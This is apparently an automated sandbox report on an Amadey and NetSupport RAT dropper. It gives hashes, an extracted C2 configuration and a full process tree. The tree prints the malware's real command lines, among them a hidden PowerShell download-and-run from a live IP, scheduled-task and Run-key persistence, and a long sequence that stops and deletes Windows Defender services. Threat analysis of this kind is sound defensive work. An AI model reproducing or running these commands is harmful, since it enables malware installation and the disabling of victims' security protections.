Overview

overview

10

Static

static

5

2025-03-26...er.exe

windows7-x64

10

2025-03-26...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2025, 20:23

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-03-26_5e99ec97d34bb83636fe2723f425039a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    5e99ec97d34bb83636fe2723f425039a

  • SHA1

    ea8eadd66b1b16f1b266d0ed3b4023c27fc0dae3

  • SHA256

    6bf9d670867f760a8d74df58fe46b3761f5a028b337bd76a8802402b57a846be

  • SHA512

    28d738acdefdb44da1c89ac670e4ad0148a4bc2153be324d6def74904124680c5f18ab4182c3414bc4265ffbbd883f5edb145829ff7d1203d1059c471d36f6c3

  • SSDEEP

    24576:uqDEvCTbMWu7rQYlBQcBiT6rprG8a0Qu:uTvC/MTQYxsWR7a0Q

Score
10/10
amadeynetsupport092155defense_evasiondiscoveryexecutionexploitpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Netsupport family
    netsupport
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 9 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 18 IoCs
  • Identifies Wine through registry keys 2 TTPs 6 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 6 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 19 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:3040
      • C:\Windows\SysWOW64\fontdrvhost.exe
        "C:\Windows\System32\fontdrvhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2184
      • C:\Windows\SysWOW64\fontdrvhost.exe
        "C:\Windows\System32\fontdrvhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2972
    • C:\Users\Admin\AppData\Local\Temp\2025-03-26_5e99ec97d34bb83636fe2723f425039a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
      "C:\Users\Admin\AppData\Local\Temp\2025-03-26_5e99ec97d34bb83636fe2723f425039a_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4700
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c schtasks /create /tn LralkmaRuVA /tr "mshta C:\Users\Admin\AppData\Local\Temp\08FvuMAEp.hta" /sc minute /mo 25 /ru "Admin" /f
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2464
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn LralkmaRuVA /tr "mshta C:\Users\Admin\AppData\Local\Temp\08FvuMAEp.hta" /sc minute /mo 25 /ru "Admin" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:4888
      • C:\Windows\SysWOW64\mshta.exe
        mshta C:\Users\Admin\AppData\Local\Temp\08FvuMAEp.hta
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4004
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'MIKXBIV7GKCV0UVABNFFYTNMHVDQAVR9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2472
          • C:\Users\Admin\AppData\Local\TempMIKXBIV7GKCV0UVABNFFYTNMHVDQAVR9.EXE
            "C:\Users\Admin\AppData\Local\TempMIKXBIV7GKCV0UVABNFFYTNMHVDQAVR9.EXE"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:1060
            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4464
              • C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe
                "C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4504
                • C:\Windows\SysWOW64\CMD.exe
                  "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3252
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3140
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /I "opssvc wrsa"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4320
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1276
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:688
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 267978
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:3856
                  • C:\Windows\SysWOW64\extrac32.exe
                    extrac32 /Y /E Spanish.vss
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1296
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /V "East" Removed
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4184
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1440
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2364
                  • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                    Exam.com j
                    8⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:4928
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 904
                      9⤵
                      • Program crash
                      PID:2924
                  • C:\Windows\SysWOW64\choice.exe
                    choice /d y /t 5
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4004
              • C:\Users\Admin\AppData\Local\Temp\10340260101\30234249fb.exe
                "C:\Users\Admin\AppData\Local\Temp\10340260101\30234249fb.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4048
              • C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe
                "C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:752
                • C:\Windows\SysWOW64\CMD.exe
                  "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:4072
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4944
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /I "opssvc wrsa"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1112
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2952
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1492
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 267978
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1824
                  • C:\Windows\SysWOW64\extrac32.exe
                    extrac32 /Y /E Spanish.vss
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2768
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2184
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1440
                  • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
                    Exam.com j
                    8⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:5108
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 5108 -s 912
                      9⤵
                      • Program crash
                      PID:2532
                  • C:\Windows\SysWOW64\choice.exe
                    choice /d y /t 5
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4412
              • C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
                "C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:3996
              • C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe
                "C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4440
                • C:\Users\Admin\AppData\Local\Temp\11.exe
                  "C:\Users\Admin\AppData\Local\Temp\11.exe"
                  7⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2576
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\65CA.tmp\65CB.tmp\65CC.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
                    8⤵
                      PID:3572
                      • C:\Users\Admin\AppData\Local\Temp\11.exe
                        "C:\Users\Admin\AppData\Local\Temp\11.exe" go
                        9⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:2164
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\677F.tmp\6780.tmp\6781.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
                          10⤵
                          • Drops file in Program Files directory
                          PID:3472
                          • C:\Windows\system32\sc.exe
                            sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                            11⤵
                            • Launches sc.exe
                            PID:2288
                          • C:\Windows\system32\sc.exe
                            sc start ddrver
                            11⤵
                            • Launches sc.exe
                            PID:4916
                          • C:\Windows\system32\timeout.exe
                            timeout /t 1
                            11⤵
                            • Delays execution with timeout.exe
                            PID:724
                          • C:\Windows\system32\sc.exe
                            sc stop ddrver
                            11⤵
                            • Launches sc.exe
                            PID:1492
                          • C:\Windows\system32\sc.exe
                            sc start ddrver
                            11⤵
                            • Launches sc.exe
                            PID:1540
                          • C:\Windows\system32\takeown.exe
                            takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                            11⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            PID:4168
                          • C:\Windows\system32\icacls.exe
                            icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                            11⤵
                            • Possible privilege escalation attempt
                            • Modifies file permissions
                            PID:1512
                          • C:\Windows\system32\sc.exe
                            sc stop "WinDefend"
                            11⤵
                            • Launches sc.exe
                            PID:652
                          • C:\Windows\system32\sc.exe
                            sc delete "WinDefend"
                            11⤵
                            • Launches sc.exe
                            PID:4024
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                            11⤵
                              PID:2768
                            • C:\Windows\system32\sc.exe
                              sc stop "MDCoreSvc"
                              11⤵
                              • Launches sc.exe
                              PID:1460
                            • C:\Windows\system32\sc.exe
                              sc delete "MDCoreSvc"
                              11⤵
                              • Launches sc.exe
                              PID:4768
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                              11⤵
                                PID:2648
                              • C:\Windows\system32\sc.exe
                                sc stop "WdNisSvc"
                                11⤵
                                • Launches sc.exe
                                PID:3024
                              • C:\Windows\system32\sc.exe
                                sc delete "WdNisSvc"
                                11⤵
                                • Launches sc.exe
                                PID:2976
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                                11⤵
                                  PID:2796
                                • C:\Windows\system32\sc.exe
                                  sc stop "Sense"
                                  11⤵
                                  • Launches sc.exe
                                  PID:2924
                                • C:\Windows\system32\sc.exe
                                  sc delete "Sense"
                                  11⤵
                                  • Launches sc.exe
                                  PID:804
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                  11⤵
                                    PID:2412
                                  • C:\Windows\system32\sc.exe
                                    sc stop "wscsvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:4020
                                  • C:\Windows\system32\sc.exe
                                    sc delete "wscsvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:5056
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                    11⤵
                                    • Modifies security service
                                    PID:3972
                                  • C:\Windows\system32\sc.exe
                                    sc stop "SgrmBroker"
                                    11⤵
                                    • Launches sc.exe
                                    PID:4284
                                  • C:\Windows\system32\sc.exe
                                    sc delete "SgrmBroker"
                                    11⤵
                                    • Launches sc.exe
                                    PID:3512
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                    11⤵
                                      PID:512
                                    • C:\Windows\system32\sc.exe
                                      sc stop "SecurityHealthService"
                                      11⤵
                                      • Launches sc.exe
                                      PID:4756
                                    • C:\Windows\system32\sc.exe
                                      sc delete "SecurityHealthService"
                                      11⤵
                                      • Launches sc.exe
                                      PID:2772
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                      11⤵
                                        PID:5016
                                      • C:\Windows\system32\sc.exe
                                        sc stop "webthreatdefsvc"
                                        11⤵
                                        • Launches sc.exe
                                        PID:2828
                                      • C:\Windows\system32\sc.exe
                                        sc delete "webthreatdefsvc"
                                        11⤵
                                        • Launches sc.exe
                                        PID:4004
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                        11⤵
                                          PID:2656
                                        • C:\Windows\system32\sc.exe
                                          sc stop "webthreatdefusersvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:4528
                                        • C:\Windows\system32\sc.exe
                                          sc delete "webthreatdefusersvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:3596
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                          11⤵
                                            PID:4256
                                          • C:\Windows\system32\sc.exe
                                            sc stop "WdNisDrv"
                                            11⤵
                                            • Launches sc.exe
                                            PID:3400
                                          • C:\Windows\system32\sc.exe
                                            sc delete "WdNisDrv"
                                            11⤵
                                            • Launches sc.exe
                                            PID:2360
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                            11⤵
                                              PID:4664
                                            • C:\Windows\system32\sc.exe
                                              sc stop "WdBoot"
                                              11⤵
                                              • Launches sc.exe
                                              PID:3892
                                            • C:\Windows\system32\sc.exe
                                              sc delete "WdBoot"
                                              11⤵
                                              • Launches sc.exe
                                              PID:3124
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                              11⤵
                                                PID:2668
                                              • C:\Windows\system32\sc.exe
                                                sc stop "WdFilter"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4872
                                              • C:\Windows\system32\sc.exe
                                                sc delete "WdFilter"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4320
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                11⤵
                                                  PID:4104
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "SgrmAgent"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:4980
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "SgrmAgent"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:4944
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                  11⤵
                                                    PID:2288
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "MsSecWfp"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:1112
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "MsSecWfp"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:3884
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                    11⤵
                                                      PID:4844
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "MsSecFlt"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:392
                                                    • C:\Windows\system32\sc.exe
                                                      sc delete "MsSecFlt"
                                                      11⤵
                                                      • Launches sc.exe
                                                      PID:3728
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                      11⤵
                                                        PID:4168
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "MsSecCore"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:1336
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "MsSecCore"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:2244
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                        11⤵
                                                          PID:3664
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                          11⤵
                                                            PID:3672
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                            11⤵
                                                              PID:4024
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                              11⤵
                                                                PID:2008
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                11⤵
                                                                  PID:4840
                                                                • C:\Windows\system32\sc.exe
                                                                  sc stop ddrver
                                                                  11⤵
                                                                  • Launches sc.exe
                                                                  PID:4848
                                                                • C:\Windows\system32\sc.exe
                                                                  sc delete ddrver
                                                                  11⤵
                                                                  • Launches sc.exe
                                                                  PID:1400
                                                      • C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe"
                                                        6⤵
                                                        • Checks computer location settings
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1540
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2756
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
                                                            8⤵
                                                            • Adds Run key to start application
                                                            • System Location Discovery: System Language Discovery
                                                            PID:3472
                                                          • C:\Users\Public\Netstat\bild.exe
                                                            C:\Users\Public\Netstat\bild.exe
                                                            8⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            • Suspicious use of FindShellTrayWindow
                                                            PID:4448
                                                      • C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:3104
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:1564
                                                      • C:\Users\Admin\AppData\Local\Temp\10343250101\oalJJxv.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10343250101\oalJJxv.exe"
                                                        6⤵
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1656
                                            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                              C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                              1⤵
                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                              • Checks BIOS information in registry
                                              • Executes dropped EXE
                                              • Identifies Wine through registry keys
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4832
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4928 -ip 4928
                                              1⤵
                                                PID:4692
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5108 -ip 5108
                                                1⤵
                                                  PID:916
                                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  1⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4664
                                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                  1⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Identifies Wine through registry keys
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:2796

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Reconnaissance

                                                Resource Development

                                                Initial Access

                                                Execution

                                                Command and Scripting Interpreter

                                                1
                                                T1059

                                                PowerShell

                                                1
                                                T1059.001

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                System Services

                                                2
                                                T1569

                                                Service Execution

                                                2
                                                T1569.002

                                                Persistence

                                                Boot or Logon Autostart Execution

                                                1
                                                T1547

                                                Registry Run Keys / Startup Folder

                                                1
                                                T1547.001

                                                Create or Modify System Process

                                                3
                                                T1543

                                                Windows Service

                                                3
                                                T1543.003

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                Privilege Escalation

                                                Boot or Logon Autostart Execution

                                                1
                                                T1547

                                                Registry Run Keys / Startup Folder

                                                1
                                                T1547.001

                                                Create or Modify System Process

                                                3
                                                T1543

                                                Windows Service

                                                3
                                                T1543.003

                                                Scheduled Task/Job

                                                1
                                                T1053

                                                Scheduled Task

                                                1
                                                T1053.005

                                                Defense Evasion

